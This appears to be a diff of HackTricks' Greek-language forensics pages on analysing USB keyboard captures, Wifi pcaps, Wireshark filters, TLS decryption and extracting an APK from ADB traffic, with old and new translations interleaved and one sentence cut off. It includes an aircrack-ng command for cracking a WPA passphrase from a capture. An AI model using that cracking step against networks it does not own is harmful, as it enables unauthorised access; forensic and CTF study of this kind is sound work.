* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Αν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω:
Εάν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω:
![](<../../../.gitbook/assets/image (962).png>)
![](<../../../.gitbook/assets/image (613).png>)
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να πάρετε το περιεχόμενο της επικοινωνίας που έγινε:
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να δείτε τι γράφτηκε στην επικοινωνία:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Μπορείτε να βρείτε περισσότερες πληροφορίες και να βρείτε μερικά scripts για το πώς να αναλύσετε αυτό στους παρακάτω συνδέσμους:
Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό στο:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,68 +1,67 @@
# Wifi Pcap Analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Check BSSIDs
# Έλεγχος BSSIDs
Όταν λάβετε μια καταγραφή της οποίας η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSIDs της καταγραφής με το _Wireless --> WLAN Traffic_:
Όταν λάβετε ένα αρχείο καταγραφής του οποίου η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSID της καταγραφής με το _Wireless --> WLAN Traffic_:
![](<../../../.gitbook/assets/image (106).png>)
![](<../../../.gitbook/assets/image (424).png>)
![](<../../../.gitbook/assets/image (492).png>)
![](<../../../.gitbook/assets/image (425).png>)
### Brute Force
## Βίαιη Δύναμη
Ένας από τους στήλες αυτής της οθόνης υποδεικνύει εάν **βρέθηκε οποιαδήποτε πιστοποίηση μέσα στο pcap**. Εάν αυτό είναι το περιστατικό, μπορείτε να δοκιμάσετε να το βρείτε με βίαιη δύναμη χρησιμοποιώντας το `aircrack-ng`:
Μία από τις στήλες της οθόνης αυτής υποδεικνύει αν **βρέθηκε οποιαδήποτε αυθεντικοποίηση μέσα στο pcap**. Αν αυτό ισχύει, μπορείτε να προσπαθήσετε να το σπάσετε χρησιμοποιώντας το `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Για παράδειγμα, θα ανακτήσει τον κωδικό πρόσβασης WPA που προστατεύει ένα PSK (pre shared-key), ο οποίος θα απαιτηθεί αργότερα για την αποκρυπτογράφηση της κίνησης.
Για παράδειγμα, θα ανακτήσει το WPA passphrase που προστατεύει ένα PSK (προκαθορισμένο κλειδί), το οποίο θα απαιτηθεί για να αποκρυπτογραφήσετε την κίνηση αργότερα.
# Δεδομένα στα Beacons / Side Channel
## Δεδομένα σε Beacons / Παράπλευρη Διάσταση
Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα στα beacons ενός δικτύου Wifi**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το εξής: `wlan contains <ΟΝΟΜΑτουΔΙΚΤΥΟΥ>`, ή `wlan.ssid == "ΟΝΟΜΑτουΔΙΚΤΥΟΥ"` αναζήτηση μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλφαριθμητικές ακολουθίες.
Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα σε beacons ενός Wifi δικτύου**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το παρακάτω: `wlan contains <NAMEofNETWORK>`, ή `wlan.ssid == "NAMEofNETWORK"` αναζητώντας μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλυσίδες.
# Εύρεση Άγνωστων Διευθύνσεων MAC σε Ένα Δίκτυο Wifi
## Βρείτε Άγνωστες Διευθύνσεις MAC σε Ένα Wifi Δίκτυο
Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που αποστέλλουν δεδομένα μέσα σε ένα δίκτυο Wifi**:
Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που στέλνουν δεδομένα μέσα σε ένα Wifi Δίκτυο**:
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Εάν ήδη γνωρίζετε **διευθύνσεις MAC, μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτός: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Εάν ήδη γνωρίζετε **διευθύνσεις MAC μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτόν: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Αφού ανιχνεύσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το εξής: `wlan.addr==<διεύθυνση MAC> && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα εάν έχετε αποκρυπτογραφήσει την κίνηση.
# Αποκρυπτογράφηση Κίνησης
Επεξεργασία --> Προτιμήσεις --> Πρωτόκολλα --> IEEE 802.11--> Επεξεργασία
![](<../../../.gitbook/assets/image (426).png>)
Μόλις εντοπίσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το παρακάτω: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα εάν έχετε αποκρυπτογραφήσει την κίνηση.
## Αποκρυπτογράφηση Κίνησης
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,148 +1,158 @@
# Κόλπα Wireshark
# Wireshark tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια **μηχανή αναζήτησης** που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κλοπή πληροφοριών.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
## Βελτιώστε τις δεξιότητές σας στο Wireshark
## Improve your Wireshark skills
### Οδηγοί
### Tutorials
Οι ακόλουθοι οδηγοί είναι εκπληκτικοί για να μάθετε μερικά ψυχαγωγικά βασικά κόλπα:
Τα παρακάτω tutorials είναι καταπληκτικά για να μάθετε μερικά ωραία βασικά κόλπα:
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### Αναλυμένες Πληροφορίες
### Analysed Information
**Ειδικές Πληροφορίες**
**Expert Information**
Κάνοντας κλικ σε _**Ανάλυση** --> **Ειδικές Πληροφορίες**_ θα έχετε μια **επισκόπηση** του τι συμβαίνει στα **αναλυμένα** πακέτα:
Κάνοντας κλικ στο _**Analyze** --> **Expert Information**_ θα έχετε μια **επισκόπηση** του τι συμβαίνει στα πακέτα που έχουν **αναλυθεί**:
![](<../../../.gitbook/assets/image (253).png>)
![](<../../../.gitbook/assets/image (256).png>)
**Επιλυμένες Διευθύνσεις**
**Resolved Addresses**
Κάτω από _**Στατιστικά --> Επιλυμένες Διευθύνσεις**_ μπορείτε να βρείτε πολλές **πληροφορίες** που έχουν "**επιλυθεί**" από το wireshark όπως θύρα/μεταφορά σε πρωτόκολλο, MAC στον κατασκευαστή, κλπ. Είναι ενδιαφέρον να γνωρίζετε τι εμπλέκεται στην επικοινωνία.
![](<../../../.gitbook/assets/image (890).png>)
**Ιεραρχία Πρωτοκόλλου**
Κάτω από _**Στατιστικά --> Ιεραρχία Πρωτοκόλλου**_ μπορείτε να βρείτε τα **πρωτόκολλα** που **εμπλέκονται** στην επικοινωνία και δεδομένα σχετικά με αυτά.
![](<../../../.gitbook/assets/image (583).png>)
**Συνομιλίες**
Κάτω από _**Στατιστικά --> Συνομιλίες**_ μπορείτε να βρείτε ένα **σύνολο των συνομιλιών** στην επικοινωνία και δεδομένα σχετικά με αυτές.
![](<../../../.gitbook/assets/image (450).png>)
**Ακραίες Σημεία**
Κάτω από _**Στατιστικά --> Ακραία Σημεία**_ μπορείτε να βρείτε ένα **σύνολο των ακραίων σημείων** στην επικοινωνία και δεδομένα για καθένα από αυτά.
Κάτω από _**Statistics --> Resolved Addresses**_ μπορείτε να βρείτε πολλές **πληροφορίες** που έχουν "**επιλυθεί**" από το wireshark όπως θύρα/μεταφορά σε πρωτόκολλο, MAC στον κατασκευαστή, κ.λπ. Είναι ενδιαφέρον να γνωρίζετε τι εμπλέκεται στην επικοινωνία.
![](<../../../.gitbook/assets/image (893).png>)
**Πληροφορίες DNS**
**Protocol Hierarchy**
Κάτω από _**Στατιστικά --> DNS**_ μπορείτε να βρείτε στατιστικά σχετικά με τα καταγεγραμμένα αιτήματα DNS.
Κάτω από _**Statistics --> Protocol Hierarchy**_ μπορείτε να βρείτε τα **πρωτόκολλα** που είναι **εμπλεκόμενα** στην επικοινωνία και δεδομένα σχετικά με αυτά.
![](<../../../.gitbook/assets/image (1060).png>)
![](<../../../.gitbook/assets/image (586).png>)
**Γράφημα I/O**
**Conversations**
Κάτω από _**Στατιστικά --> Γράφημα I/O**_ μπορείτε να βρείτε ένα **γράφημα της επικοινωνίας.**
Κάτω από _**Statistics --> Conversations**_ μπορείτε να βρείτε μια **σύνοψη των συνομιλιών** στην επικοινωνία και δεδομένα σχετικά με αυτές.
![](<../../../.gitbook/assets/image (989).png>)
![](<../../../.gitbook/assets/image (453).png>)
### Φίλτρα
**Endpoints**
Κάτω από _**Statistics --> Endpoints**_ μπορείτε να βρείτε μια **σύνοψη των endpoints** στην επικοινωνία και δεδομένα σχετικά με το καθένα από αυτά.
![](<../../../.gitbook/assets/image (896).png>)
**DNS info**
Κάτω από _**Statistics --> DNS**_ μπορείτε να βρείτε στατιστικά σχετικά με το DNS αίτημα που καταγράφηκε.
![](<../../../.gitbook/assets/image (1063).png>)
**I/O Graph**
Κάτω από _**Statistics --> I/O Graph**_ μπορείτε να βρείτε ένα **γράφημα της επικοινωνίας.**
![](<../../../.gitbook/assets/image (992).png>)
### Filters
Εδώ μπορείτε να βρείτε φίλτρα wireshark ανάλογα με το πρωτόκολλο: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Άλλα ενδιαφέροντα φίλτρα:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* Κίνηση HTTP και αρχική κίνηση HTTPS
* HTTP και αρχική κίνηση HTTPS
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* Κίνηση HTTP και αρχική κίνηση HTTPS + TCP SYN
* HTTP και αρχική κίνηση HTTPS + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* Κίνηση HTTP και αρχική κίνηση HTTPS + TCP SYN + αιτήσεις DNS
* HTTP και αρχική κίνηση HTTPS + TCP SYN + DNS αιτήματα
### Αναζήτηση
### Search
Αν θέλετε να **αναζητήσετε** **περιεχόμενο** μέσα στα **πακέτα** των συνεδριών πατήστε _CTRL+f_. Μπορείτε να προσθέσετε νέα επίπεδα στην κύρια γραμμή πληροφοριών (Αρ., Χρόνος, Πηγή, κλπ.) πατώντας το δεξί κουμπί και στη συνέχεια την επεξεργασία στήλης.
Αν θέλετε να **αναζητήσετε** **περιεχόμενο** μέσα στα **πακέτα** των συνεδριών πατήστε _CTRL+f_. Μπορείτε να προσθέσετε νέα επίπεδα στη βασική γραμμή πληροφοριών (No., Χρόνος, Πηγή, κ.λπ.) πατώντας το δεξί κουμπί και στη συνέχεια την επεξεργασία στήλης.
### Δωρεάν εργαστήρια pcap
### Free pcap labs
**Εξάσκηση με τις δωρεάν προκλήσεις του:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
## Αναγνώριση Domain
## Identifying Domains
Μπορείτε να προσθέσετε μια στήλη που εμφανίζει τον Κεφαλίδα Κεφαλίδας HTTP:
Μπορείτε να προσθέσετε μια στήλη που δείχνει την κεφαλίδα Host HTTP:
![](<../../../.gitbook/assets/image (635).png>)
![](<../../../.gitbook/assets/image (639).png>)
Και μια στήλη που προσθέτει το όνομα Διακομιστή από μια αρχική σύνδεση HTTPS (**ssl.handshake.type == 1**):
Και μια στήλη που προσθέτει το όνομα του διακομιστή από μια αρχική σύνδεση HTTPS (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>)
## Αναγνώριση τοπικών ονομάτων υπολογιστή
## Identifying local hostnames
### Από DHCP
### From DHCP
Στο τρέχον Wireshark αντί για `bootp` πρέπει να αναζητήσετε το `DHCP`
Στην τρέχουσα έκδοση του Wireshark αντί για `bootp` πρέπει να αναζητήσετε `DHCP`
![](<../../../.gitbook/assets/image (1010).png>)
![](<../../../.gitbook/assets/image (1013).png>)
### Από NBNS
### From NBNS
![](<../../../.gitbook/assets/image (1000).png>)
![](<../../../.gitbook/assets/image (1003).png>)
## Αποκρυπτογράφηση TLS
## Decrypting TLS
### Αποκρυπτογράφηση κίνησης https με ιδιωτικό κλειδί διακομιστή
### Decrypting https traffic with server private key
_επεξεργασία>προτίμηση>πρωτόκολλο>ssl>_
_edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (1100).png>)
![](<../../../.gitbook/assets/image (1103).png>)
Πατήστε _Επεξεργασία_ και προσθέστε όλα τα δεδομένα του διακομιστή και το ιδιωτικό κλειδί (_IP, Θύρα, Πρωτόκολλο, Αρχείο κλειδιού και κωδικό πρόσβασης_)
Πατήστε _Edit_ και προσθέστε όλα τα δεδομένα του διακομιστή και το ιδιωτικό κλειδί (_IP, Θύρα, Πρωτόκολλο, Αρχείο κλειδιού και κωδικό πρόσβασης_)
### Αποκρυπτογράφηση κίνησης https με συμμετρικά κλειδιά συνεδρίας
### Decrypting https traffic with symmetric session keys
Τόσο ο Firefox όσο και ο Chrome έχουν τη δυνατότητα να καταγράφουν τα κλειδιά συνεδρίας TLS, τα οποία μπορούν να χρησιμοποιηθούν με το Wireshark για την αποκρυπτογράφηση της κίνησης TLS. Αυτό επιτρέπει την ανάλυση των ασφαλών επικοινωνιών. Περισσότερες λεπτομέρειες για το πώς να εκτελέσετε αυτήν την αποκρυπτογράφηση μπορείτε να βρείτε σε οδηγό στο [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Και οι δύο Firefox και Chrome έχουν τη δυνατότητα να καταγράφουν τα κλειδιά συνεδρίας TLS, τα οποία μπορούν να χρησιμοποιηθούν με το Wireshark για να αποκρυπτογραφήσουν την κίνηση TLS. Αυτό επιτρέπει σε βάθος ανάλυση των ασφαλών επικοινωνιών. Περισσότερες λεπτομέρειες σχετικά με το πώς να εκτελέσετε αυτήν την αποκρυπτογράφηση μπορείτε να βρείτε σε έναν οδηγό στο [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Για να ανιχνεύσετε αυτό αναζητήστε μέ
## ADB επικοινωνία
Για να το ανιχνεύσετε αναζητήστε μέσα στο περιβάλλον τη μεταβλητή `SSLKEYLOGFILE`
Εξαγωγή ενός APK από μια ADB επικοινωνία όπου το APK στάλθηκε:
Ένα αρχείο κοινών κλειδιών θα φαίνεται έτσι:
![](<../../../.gitbook/assets/image (820).png>)
Για να το εισάγετε στο wireshark πηγαίνετε στο _edit > preference > protocol > ssl > και εισάγετε το στο (Pre)-Master-Secret log filename:
![](<../../../.gitbook/assets/image (989).png>)
## ADB communication
Εξαγάγετε ένα APK από μια επικοινωνία ADB όπου το APK στάλθηκε:
```python
from scapy.all import *
@ -171,27 +181,27 @@ f.close()
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:
